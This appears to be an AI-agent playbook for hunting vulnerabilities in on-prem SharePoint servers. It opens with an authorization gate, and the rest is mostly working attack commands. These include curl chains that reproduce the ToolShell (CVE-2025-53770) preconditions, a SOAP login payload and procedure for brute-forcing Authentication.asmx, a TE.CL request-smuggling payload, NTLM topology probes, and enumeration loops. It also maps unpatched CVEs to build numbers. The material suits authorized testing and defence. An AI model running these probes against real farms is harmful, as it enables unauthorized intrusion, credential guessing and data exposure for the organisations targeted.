Hunt Sharepoint

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Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

1. Ask the user to state the exact target URL, IP, account, or resource.
2. Ask the user to confirm written authorization and the permitted scope.
3. Show the exact command(s) and explain their expected effect.
4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Crown Jewel Targets

SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:

1. End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build 15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
2. CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous /_layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous __REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
3. Custom branded login pages forget legacy SOAP login. /_vti_bin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.

Highest-value SharePoint targets:

• SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
• Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
• SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
• SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see hunt-ntlm-info) discloses the parent forest membership.
• Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.

Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.

Attack Surface Signals

Response-header fingerprints (any one is sufficient — usually multiple co-occur):

SPRequestGuid: <GUID>                           (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly              (SharePoint web request)
X-SharePointHealthScore: 0                      (SharePoint specific)
SPIisLatency: <ms>                              (SharePoint internal timing)
SPRequestDuration: <ms>                         (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0      (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL>        (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL>     (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied...      (WebDAV extension active)
DAV: 1, 2                                       (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=...               (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=...               (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=...              (SharePoint UI mode)

URL / path fingerprints:

/_layouts/15/                  (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/                  (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/                  (some SP2019 / SPE)
/_vti_bin/                     (FrontPage-RPC + SOAP services)
/_vti_pvt/                     (FrontPage-RPC config — usually 403)
/_vti_inf.html                 (almost always anonymous; contains FPVersion banner)
/_api/                         (modern REST API)
/_api/$metadata                (OData metadata — often anonymous + large)
/_api/contextinfo              (FormDigest issuer — POST only)
/_catalogs/                    (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx   (user list — usually 403)
/_layouts/15/start.aspx        (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx     (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx       (people/list picker — SafeControl recon)
/_layouts/15/download.aspx     (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx      (logout)
/_layouts/15/error.aspx        (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core    (resource bundle leak)
/_layouts/15/<Customer>/       (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx  (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx    (often anon-readable)
/_vti_bin/lists.asmx           (auth-required on hardened farms)
/_vti_bin/sites.asmx           (auth-required on hardened farms)
/_vti_bin/sts/                 (Security Token Service — usually 302 to error)
/sites/<name>/                 (site collections)
/personal/<user>/              (MySite / OneDrive-for-Business)

Body signals (in HTML responses):

<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/...");                    (Script-on-demand registration)
var g_initUrl='';                                          (start.aspx MDS state)
__REQUESTDIGEST                                            (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED=""                                    (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX"                             (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low:                      (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting                  (anonymous error.aspx body)

Tech-stack signals:

• Server: Microsoft-IIS/10.0 + paths starting with /_layouts/15/ → SharePoint 2013/2016/2019/SE
• AWS ELB / ALB in front of SharePoint → cross-node ViewState MAC issues possible (see hunt-aspnet)
• WWW-Authenticate: NTLM on /_api/web/CurrentUser → dual-auth (Forms + NTLM); use hunt-ntlm-info for AD-topology disclosure
• *.test.<customer>.tld → test/staging mirror of production SharePoint; data often mirrored from prod

Step-by-Step Hunting Methodology

1. Fingerprint the SharePoint version. Build number leaks anonymously through several paths. Map the result to the CVE matrix immediately.

   # Method 1: _vti_inf.html (always anonymous, always present)
   curl -sk "https://target.example/_vti_inf.html"
   # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE)
   
   # Method 2: _api/contextinfo POST (anonymous on most farms)
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.LibraryVersion'
   # → "15.0.5545.1000" (full build number)
   
   # Method 3: /_layouts/15/start.aspx body
   curl -sk "https://target.example/_layouts/15/start.aspx" \
     | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"

   Map to CVE matrix:

   Build	Edition	Status	Notable unpatched-after-EoL CVEs
   15.0.5545.1000	SP2013 final CU	EoL 2023-04-11	CVE-2023-29357, CVE-2023-33160/33157/36941, CVE-2024-21318/30043/38023/38024/38094, CVE-2025-53770/53771, CVE-2025-29794
   16.0.10416.x	SP2016	EoL 2026-07-14	depends on patch level
   16.0.10417.x+	SP2019 / SE	active	check Microsoft's monthly Patch Tuesday

2. Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.

   /_vti_inf.html                                          → version disclosure
   /_layouts/15/start.aspx                                 → version disclosure + session minting
   /_layouts/15/blank.htm                                  → benign anchor for smuggling probes
   /_layouts/15/error.aspx                                 → request-validator behaviour probe
   /_layouts/15/Authenticate.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/AccessDenied.aspx?Source=                  → redirect-chain behaviour
   /_layouts/15/SignOut.aspx                               → logout — anonymous OK
   /_layouts/15/closeConnection.aspx                       → anonymous OK
   /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res  → 35KB localised strings
   /_layouts/15/scriptresx.ashx?culture=en-us&name=core    → 277KB localised strings
   /_layouts/15/ToolPane.aspx?DisplayMode=Edit             → ToolShell precondition (THIS IS THE BIG ONE)
   /_layouts/15/Picker.aspx                                → SafeControl recon (see step 6)
   /_layouts/15/<CustomerName>/pages/login/customlogin.aspx    → custom Forms login (replace `<CustomerName>` with target's customer name)
   /_vti_bin/Authentication.asmx                           → legacy SOAP login — anonymous brute-force (CRITICAL)
   /_vti_bin/Authentication.asmx?WSDL                      → WSDL — confirms Login + Mode ops
   /_vti_bin/SharedAccess.asmx                             → often anonymous
   /_vti_bin/spsdisco.aspx                                 → SP service discovery
   /_api/contextinfo (POST)                                → anonymous FormDigest mint (HIGH)
   /_api/$metadata                                         → 381KB API surface enumeration
   /_api/Search                                            → search service descriptor
   /_api/web/CurrentUser                                   → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)

3. Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:

   # First: confirm Mode = Forms (else this attack vector is N/A)
   curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
     -H "Content-Type: text/xml; charset=utf-8" \
     -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
     -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'
   # → <ModeResult>Forms</ModeResult>  ← target is exploitable
   # → <ModeResult>Windows</ModeResult>  ← target uses Windows auth only; this vector N/A
   
   # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)
   # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords
   # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface

   Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."

4. ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:

   # Sub-step a: anonymous GET on ToolPane.aspx
   curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"
   # Body should contain: __REQUESTDIGEST="0x...,..."  AND  __VIEWSTATEENCRYPTED=""
   # If both: precondition stack is anonymous-reachable.
   
   # Sub-step b: anonymous POST to /_api/contextinfo
   curl -sk -X POST "https://target.example/_api/contextinfo" \
     -H "Accept: application/json;odata=verbose" \
     | jq -r '.d.GetContextWebInformation.FormDigestValue'
   # Should return a valid digest with 1800s validity.
   
   # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
   curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
     -H "X-RequestDigest: <digest from step b>" \
     --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"
   # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.

   Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).

   IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The <machineKey> (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.

5. NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:

   # Use Burp send_http1_request with keep-alive, or Python raw socket
   # Anonymous Type-1 with NetBIOS-info request flag:
   #   Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
   # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name

   Severity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.

6. SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:

   • Type EXISTS but not whitelisted: "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
   • Type DOES NOT exist: "Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."

   Feed a wordlist of Microsoft.SharePoint.*.WebControls.* and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.

   for cls in \
     "Microsoft.SharePoint.WebControls.PeopleEditor" \
     "Microsoft.SharePoint.WebControls.ItemPicker" \
     "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
     ; do
     curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
       | grep -oE "<title>[^<]+</title>"
   done

7. download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /_layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver, not a generic URL fetcher. Behaviours:

   • External URL (http://evil.example.com/x) → 500 with "The Web application at <URL> could not be found" — server tried to resolve as an SP web app, didn't fetch.
   • Same-origin file URL → 500 with "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" — server tried SPFile.OpenBinary, file not found.
   • Files matching the extension blocklist (.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
   • file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.

   The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.

   The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.

8. Custom-branding module enumeration. Customer-customised SP installations almost always have a /_layouts/15/<CustomerName>/ directory tree. Find the name from the login URL (e.g. /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → customer name is <CustomerName>). Then probe:

   for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
     curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
       "https://target.example/_layouts/15/CustomerName/$sub/"
     # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid
   done

   JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).

9. Search service probe. /_api/Search returns a small JSON descriptor anonymously. /_api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.

10. Authenticated post-login surfaces (if you have valid credentials):

    • /_api/web/Lists — enumerate lists
    • /_api/web/SiteUsers — enumerate users
    • /_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files — file enumeration
    • /_layouts/15/people.aspx — user listing
    • Custom customer-branded modules — check for IDOR, business logic
    • Workflow Services (/_api/SP.WorkflowServices.*)

Payload & Detection Patterns

Authentication.asmx Login (the canonical brute-force endpoint):

POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
      <username>USERNAME</username>
      <password>PASSWORD</password>
    </Login>
  </soap:Body>
</soap:Envelope>

Response codes:

• <ErrorCode>NoError</ErrorCode> → auth success; <CookieName>FedAuth</CookieName> and <TimeoutSeconds>...</TimeoutSeconds> follow
• <ErrorCode>PasswordNotMatch</ErrorCode> → auth fail (uniform for non-existent users too — no enum leak via error string)
• 500 + <faultstring>Value cannot be null. Parameter name: userName</faultstring> → empty username

ToolShell precondition reproduction:

# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition

# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
  -H "Accept: application/json;odata=verbose" \
  | jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."

# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
  --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
  "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
  -w "\ncode=%{http_code} size=%{size_download}\n"

HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):

POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15

x=1
0

Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.

Picker.aspx SafeControl recon:

curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
  | grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..."    = does not exist

Common Root Causes

1. /_vti_bin/Authentication.asmx left enabled on the public-zone IIS binding. SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.

2. viewStateEncryption="Auto" on layouts pages. SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have __VIEWSTATEENCRYPTED="" — exploitable if machineKey leaks.

3. /_api/contextinfo POST accessible anonymously. SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.

4. NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.

5. SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).

6. <SafeControl> whitelist in web.config trusted as the only gate. Picker.aspx enforces an instanceof PickerDialog check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.

7. AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwards Transfer-Encoding to back-end IIS; IIS interprets Content-Length when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.

8. Default Windows-installer hostname (WIN-XXXXXXXXXXX) never renamed. Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.

9. Custom-branding module (/_layouts/15/<Customer>/) JS bundles loaded with ?v=YYYYMMDD query strings. The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.

10. Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.